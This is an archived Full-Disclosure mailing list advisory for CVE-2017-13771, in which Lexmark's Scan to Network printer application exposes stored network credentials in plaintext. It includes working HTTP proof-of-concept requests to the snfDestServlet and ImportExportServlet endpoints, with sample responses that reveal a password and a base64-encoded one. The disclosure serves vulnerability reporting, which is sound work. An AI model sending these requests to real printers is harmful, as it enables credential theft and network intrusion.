lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CADgRKGyx7zZXSJOd3GEHDdNCLGd8r_AkfA6w3KRFWR5BPPuxEw@mail.gmail.com>
Date: Wed, 30 Aug 2017 16:54:37 -0500
From: Daniel Correa <admin@...focol.org>
To: fulldisclosure@...lists.org
Subject: [FD] Lexmark Scan to Network (SNF) printer application <= 3.2.9
 Information Exposure

Summary
=======
1. Information exposure of network credentials in embedded printer
application (CVE-2017-13771)


Vendor
======
"Lexmark creates innovative imaging solutions and technologies that help
customers worldwide print, secure and manage information with ease,
efficiency and unmatched value. Combining innovative technologies with deep
industry expertise, Lexmark simplifies the complex intersection of digital
and printed information in retail, financial services, healthcare,
manufacturing, education, government and more." [1].


Tested version
==============
Lexmark Scan To Network (SNF) application <= 3.2.9


Vulnerabilitiy and PoC
=======================
"The Embedded Scan to Network solution is an embedded Java application that
is installed as a flash file on multifunction printers (MFPs) which support
the Lexmark Embedded Solutions Framework (LeSF). It allows users at the
printer to scan their documents to network destinations specified by the
network administrator" [2].

Scan To Network application supports the configuration of network
credentials and if used they will be stored in plaintext and transmited in
every request to the configuration tab. The next request should be made to
get plaintext credentials that could be used later to escalate privileges
in the network or get access to scanned documents:


POST https://host/cgi-bin/direct/printer/prtappauth/apps/snfDestServlet
HTTP/1.1
Host: host
Content-Type: multipart/form-data; boundary=----boundary
Content-Length: 181

------boundary
Content-Disposition: form-data; name="dests"

scanToNet.factory.0
------boundary
Content-Disposition: form-data; name="editButton"

Edit...
------boundary--


HTTP/1.1 200 OK
...
...
<span id="cifs.uName">
<span class="header">Username:</span>
<input type="text" name="cifs.uName" value="TEST" class="control"
maxlength="256"></input>
<span id="cifs.pwd">
<span class="header">Password:</span>
<input type="password" name="cifs.pwd" value="TEST123"
class="control"></input>



It is possible to have too a base64-encoded password from application
configuration export functionality:

GET
https://host/cgi-bin/direct/printer/prtappauth/apps/ImportExportServlet?exportButton=clicked
HTTP/1.1
Host: host


HTTP/1.1 200 OK
...
...
esf.cifs.inst.1.cifs.uName "TEST"
esf.cifs.inst.1.cifs.pwd "VEVTVDEyMw=="


Timeline
========
19/05/2017: Vendor is notified through security email
30/08/2017: No response from vendor, CVE assigned, full disclosure


[1] https://www.lexmark.com/en_us/about/company.html
[2]
http://support.lexmark.com/library/LEXMARK/primus/files/PATTLNK_8312007_1530-AdminGuide.pdf

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ